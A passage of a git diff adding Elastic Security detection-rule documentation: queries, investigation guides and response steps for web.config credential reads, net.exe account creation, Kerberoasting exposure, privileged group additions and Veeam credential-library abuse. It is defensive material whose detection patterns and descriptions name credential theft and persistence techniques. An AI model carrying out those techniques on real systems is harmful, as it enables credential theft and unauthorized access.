keep first-time cases as candidates until confirmed repeats show the same workflow. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document which evidence proved the workflow: reader identity, parent lineage, `file.path`, `user.id`, `host.id`, and same-process file pattern. Create an exception only for the independently confirmed minimum workflow, not for "web.config" broadly. +- If suspicious but unconfirmed, preserve the alert details, process tree, same-process file timeline, targeted config path, suspected copies, archives, script output, web-shell files, and case notes before containment. Apply reversible containment first, such as heightened monitoring, temporary account restrictions, or temporary outbound controls; isolate the host only if copied config, web-shell creation, or secret reuse is confirmed and service impact is acceptable. +- If confirmed malicious, preserve the reader process instance, parent chain, targeted `file.path`, copied or staged config, script output, web-shell files, archives, and case notes before containment. Then contain the affected host or account based on the unauthorized reader, high-value path, enumeration, staged artifacts, or descendant process evidence, and record those identifiers before terminating processes or deleting files. +- Rotate secrets exposed through the targeted `file.path`, including database credentials, MachineKey validation/decryption keys, OAuth/SAML secrets, and shared service-account credentials. Prioritize production, internet-facing, and shared application secrets. +- Eradicate only the webshells, scripts, copied configuration files, archives, persistence mechanisms, and altered application files identified during the investigation; restore affected application configuration from known-good state and remediate the initial access or privilege path that allowed the read. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:windows and event.action:open and + file.name:"web.config" and file.path : *VirtualDirectories* and + not process.executable: ( + "C:\Program Files\Microsoft Security Client\MsMpEng.exe" or + "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" or + "C:\Windows\System32\MRT.exe" or + "C:\Windows\System32\inetsrv\w3wp.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-account-creation.asciidoc new file mode 100644 index 0000000000..94cb4ea600 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-account-creation.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-user-account-creation]] +=== User Account Creation + +Identifies attempts to create new users. This is sometimes done by attackers to increase access or establish persistence on a system or domain. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating User Account Creation* + + +Attackers may create new accounts (both local and domain) to maintain access to victim systems. + +This rule identifies the usage of `net.exe` to create new accounts. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify if the account was added to privileged groups or assigned special privileges after creation. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Account creation is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Related rules* + + +- Creation of a Hidden Local User Account - 2edc8076-291e-41e9-81e4-e3fcbc97ae5e +- Windows User Account Creation - 38e17753-f581-4644-84da-0d60a8318694 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Delete the created account. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : ("net.exe", "net1.exe") and not process.parent.name : "net.exe") and + (process.args : "user" and process.args : ("/ad", "/add")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1136.002 +** Reference URL: https://attack.mitre.org/techniques/T1136/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-account-exposed-to-kerberoasting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-account-exposed-to-kerberoasting.asciidoc new file mode 100644 index 0000000000..67842ab35f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-account-exposed-to-kerberoasting.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-user-account-exposed-to-kerberoasting]] +=== User account exposed to Kerberoasting + +Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a user to configure Service Principle Names (SPNs) so that they can perform Kerberoasting. Administrators can also configure this for legitimate purposes, exposing the account to Kerberoasting. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thehacker.recipes/ad/movement/access-controls/targeted-kerberoasting +* https://www.qomplx.com/qomplx-knowledge-kerberoasting-attacks-explained/ +* https://www.thehacker.recipes/ad/movement/kerberos/kerberoast +* https://attack.stealthbits.com/cracking-kerberos-tgs-tickets-using-kerberoasting +* https://adsecurity.org/?p=280 +* https://github.com/OTRF/Set-AuditRule + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 222 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating User account exposed to Kerberoasting* + + +Service Principal Names (SPNs) are names by which Kerberos clients uniquely identify service instances for Kerberos target computers. + +By default, only computer accounts have SPNs, which creates no significant risk, since machine accounts have a default domain policy that rotates their passwords every 30 days, and the password is composed of 120 random characters, making them invulnerable to Kerberoasting. + +A user account with an SPN assigned is considered a service account, and is accessible to the entire domain. If any user in the directory requests a ticket-granting service (TGS), the domain controller will encrypt it with the secret key of the account executing the service. An attacker can potentially perform a Kerberoasting attack with this information, as the human-defined password is likely to be less complex. + +For scenarios where SPNs cannot be avoided on user accounts, Microsoft provides the Group Managed Service Accounts (gMSA) feature, which ensures that account passwords are robust and changed regularly and automatically. More information can be found https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview[here]. + +Attackers can also perform "Targeted Kerberoasting", which consists of adding fake SPNs to user accounts that they have write privileges to, making them potentially vulnerable to Kerberoasting. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate if the target account is a member of privileged groups (Domain Admins, Enterprise Admins, etc.). +- Investigate if tickets have been requested for the target account. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- The use of user accounts as service accounts is a bad security practice and should not be allowed in the domain. The security team should map and monitor any potential benign true positive (B-TP), especially if the account is privileged. Domain Administrators that define this kind of setting can put the domain at risk as user accounts don't have the same security standards as computer accounts (which have long, complex, random passwords that change frequently), exposing them to credential cracking attacks (Kerberoasting, brute force, etc.). + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. Prioritize privileged accounts. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:5136 and host.os.type:"windows" and winlog.event_data.OperationType:"%%14674" and + winlog.event_data.ObjectClass:"user" and + winlog.event_data.AttributeLDAPDisplayName:"servicePrincipalName" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-added-to-privileged-group-in-active-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-added-to-privileged-group-in-active-directory.asciidoc new file mode 100644 index 0000000000..061735099e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-added-to-privileged-group-in-active-directory.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-user-added-to-privileged-group-in-active-directory]] +=== User Added to Privileged Group in Active Directory + +Identifies a user being added to a privileged group in Active Directory. Privileged accounts and groups in Active Directory are those to which powerful rights, privileges, and permissions are granted that allow them to perform nearly any action in Active Directory and on domain-joined systems. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic +* Skoetting + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating User Added to Privileged Group in Active Directory* + + +Privileged accounts and groups in Active Directory are those to which powerful rights, privileges, and permissions are granted that allow them to perform nearly any action in Active Directory and on domain-joined systems. + +Attackers can add users to privileged groups to maintain a level of access if their other privileged accounts are uncovered by the security team. This allows them to keep operating after the security team discovers abused accounts. + +This rule monitors events related to a user being added to a privileged group. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should manage members of this group. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This attack abuses a legitimate Active Directory mechanism, so it is important to determine whether the activity is legitimate, if the administrator is authorized to perform this operation, and if there is a need to grant the account this level of privilege. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If the admin is not aware of the operation, activate your Active Directory incident response plan. +- If the user does not need the administrator privileges, remove the account from the privileged group. +- Review the privileges of the administrator account that performed the action. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Security Group Management must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-security-group-management + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.action == "added-member-to-group" and +( + group.id : "S-1-5-21*" and + ( + group.name : ( + "Admin*", + "Domain Admins", + "Enterprise Admins", + "Backup Admins", + "Schema Admins", + "DnsAdmins", + "Exchange Organization Administrators", + "Print Operators", + "Server Operators", + "Account Operators" + ) + ) or + ( + group.id : ( + "S-1-5-21-*-544", + "S-1-5-21-*-512", + "S-1-5-21-*-519", + "S-1-5-21-*-551", + "S-1-5-21-*-518", + "S-1-5-21-*-1101", + "S-1-5-21-*-1102", + "S-1-5-21-*-550", + "S-1-5-21-*-549", + "S-1-5-21-*-548" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-added-to-the-admin-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-added-to-the-admin-group.asciidoc new file mode 100644 index 0000000000..6c87f1aeaf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-added-to-the-admin-group.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-user-added-to-the-admin-group]] +=== User Added to the Admin Group + +Identifies users being added to the admin group. This could be an indication of privilege escalation activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-jamf_protect* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.loobins.io/binaries/dscl/ +* https://managingosx.wordpress.com/2010/01/14/add-a-user-to-the-admin-group-via-command-line-3-0/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Jamf Protect +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: macOS +* Data Source: Jamf Protect Event Logs + +*Version*: 7 + +*Rule authors*: + +* Thijs Xhaflaire + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +To thoroughly investigate the actions that occurred **after a user was elevated to administrator**, it's essential to conduct a search on the Timeline. This allows you to review and understand the sequence of events that followed the elevation, helping to identify any potentially malicious or unauthorized activities that might have taken place. **Analyzing these actions is crucial for maintaining security and ensuring that the elevation was not exploited for harmful purposes.** + +**Consider reviewing these actions:** + +- Have persistency items been added? +- Is any software installed after elevation? +- Were any additional users created after elevation? + +!{investigate{"label":"Show events having the same responsible process","providers":[[{"excluded":false,"field":"host.hostname","queryType":"phrase","value":"{{host.hostname}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.group_leader.entity_id}}","valueType":"string"}]]}} +!{investigate{"label":"Show events having the same parent process","providers":[[{"excluded":false,"field":"host.hostname","queryType":"phrase","value":"{{host.hostname}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]]}} + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Jamf Protect. + + +*Jamf Protect Integration Setup* + +Jamf Protect is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events incoming events and send data to the Elastic. + + +*Prerequisite Requirements:* + +- Fleet is required for Jamf Protect. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Jamf Protect integration:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Jamf Protect" and select the integration to see more details about it. +- Click "Add Jamf Protect". +- Configure the integration name. +- Click "Save and Continue". + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where host.os.type == "macos" and event.type == "change" and + event.action == "od_group_add" and group.name:"admin" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-or-group-creation-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-or-group-creation-modification.asciidoc new file mode 100644 index 0000000000..42da6c3eb8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-user-or-group-creation-modification.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-user-or-group-creation-modification]] +=== User or Group Creation/Modification + +This rule leverages the "auditd_manager" integration to detect user or group creation or modification events on Linux systems. Threat actors may attempt to create or modify users or groups to establish persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating User or Group Creation/Modification* + + +In Linux environments, user and group management is crucial for access control and system administration. Adversaries may exploit this by creating or modifying accounts to maintain unauthorized access. The detection rule utilizes audit logs to monitor successful user or group changes, flagging potential persistence tactics by correlating specific actions with known threat behaviors. + + +*Possible investigation steps* + + +- Review the audit logs to identify the specific user or group account that was created or modified, focusing on the event.action field values such as "changed-password", "added-user-account", or "added-group-account-to". +- Check the timestamp of the event to determine when the account change occurred and correlate it with any other suspicious activities or alerts around the same time. +- Investigate the source of the event by examining the host information, particularly the host.os.type field, to understand which system the changes were made on. +- Identify the user or process that initiated the account change by reviewing the associated user information in the audit logs, which may provide insights into whether the action was authorized or potentially malicious. +- Cross-reference the identified user or group changes with known threat actor behaviors or recent incidents to assess if the activity aligns with any known persistence tactics. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when system administrators create or modify user or group accounts as part of regular maintenance. To manage this, consider creating exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or configuration management tools that manage user accounts can generate false positives. Identify these tools and exclude their actions from triggering alerts by whitelisting their processes or user accounts. +- System updates or software installations that require user or group modifications might be flagged. Review the context of these changes and exclude specific update processes or installation scripts from the rule. +- Temporary user accounts created for short-term projects or testing purposes can be mistaken for unauthorized access attempts. Implement a naming convention for temporary accounts and exclude them from the rule to reduce noise. +- Changes made by trusted third-party services or applications that integrate with the system may appear suspicious. Verify these services and add them to an exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review the audit logs to identify the specific user or group accounts that were created or modified, and disable or remove any unauthorized accounts. +- Reset passwords for any compromised or suspicious accounts to prevent further unauthorized access. +- Conduct a thorough review of system and application logs to identify any additional unauthorized changes or suspicious activities that may have occurred. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Implement additional monitoring on the affected system and similar systems to detect any further unauthorized account activities. +- Review and update access control policies and procedures to prevent similar incidents in the future, ensuring that only authorized personnel have the ability to create or modify user and group accounts. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Auditd Manager. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-w /usr/sbin/groupadd -p x -k group_modification +-w /sbin/groupadd -p x -k group_modification +-w /usr/sbin/groupmod -p x -k group_modification +-w /sbin/groupmod -p x -k group_modification +-w /usr/sbin/addgroup -p x -k group_modification +-w /sbin/addgroup -p x -k group_modification +-w /usr/sbin/usermod -p x -k user_modification +-w /sbin/usermod -p x -k user_modification +-w /usr/sbin/userdel -p x -k user_modification +-w /sbin/userdel -p x -k user_modification +-w /usr/sbin/useradd -p x -k user_modification +-w /sbin/useradd -p x -k user_modification +-w /usr/sbin/adduser -p x -k user_modification +-w /sbin/adduser -p x -k user_modification +``` + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "linux" and event.type in ("creation", "change") and auditd.result == "success" and +event.action in ("changed-password", "added-user-account", "added-group-account-to") and process.name != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-veeam-backup-library-loaded-by-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-veeam-backup-library-loaded-by-unusual-process.asciidoc new file mode 100644 index 0000000000..fdb3c16117 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-veeam-backup-library-loaded-by-unusual-process.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-veeam-backup-library-loaded-by-unusual-process]] +=== Veeam Backup Library Loaded by Unusual Process + +Identifies potential credential decrypt operations by PowerShell or unsigned processes using the Veeam.Backup.Common.dll library. Attackers can use Veeam Credentials to target backups as part of destructive operations such as Ransomware attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Veeam Backup Library Loaded by Unusual Process* + + +Veeam Backup software is crucial for data protection, enabling secure backup and recovery operations. However, adversaries may exploit its credential storage by loading the Veeam.Backup.Common.dll library through unauthorized processes like PowerShell, aiming to decrypt and misuse credentials. The detection rule identifies such anomalies by flagging untrusted or unsigned processes loading this library, indicating potential credential access attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the untrusted or unsigned process that loaded the Veeam.Backup.Common.dll library, focusing on the process.name field to determine if it is PowerShell or another suspicious executable. +- Check the process execution history and command line arguments to understand the context of the process activity, especially if the process.name is powershell.exe, pwsh.exe, or powershell_ise.exe. +- Investigate the source and integrity of the process by examining the process.code_signature fields to determine if the process is expected or potentially malicious. +- Analyze the timeline of events on the host to identify any preceding or subsequent suspicious activities that might indicate a broader attack pattern or lateral movement. +- Correlate the alert with other security events or logs from the same host or network to identify any related indicators of compromise or additional affected systems. + + +*False positive analysis* + + +- Legitimate administrative scripts or automation tasks using PowerShell may trigger the rule. Review the script's purpose and source, and if verified as safe, consider adding an exception for the specific script or process. +- Scheduled tasks or maintenance operations that involve Veeam Backup operations might load the library through unsigned processes. Validate these tasks and exclude them if they are part of routine, secure operations. +- Custom or third-party backup solutions that integrate with Veeam may load the library in a non-standard way. Confirm the legitimacy of these solutions and whitelist them to prevent unnecessary alerts. +- Development or testing environments where Veeam components are frequently loaded by various processes for testing purposes can generate false positives. Implement process exclusions for these environments to reduce noise. +- Ensure that any exclusions or exceptions are documented and reviewed regularly to maintain security posture and adapt to any changes in the environment. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified as loading the Veeam.Backup.Common.dll library, especially those that are unsigned or involve PowerShell. +- Conduct a thorough review of the system's event logs and process history to identify any additional unauthorized access or actions taken by the adversary. +- Change all credentials stored within the Veeam Backup software and any other potentially compromised accounts to prevent misuse. +- Restore any affected systems or data from a known good backup to ensure integrity and availability. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if 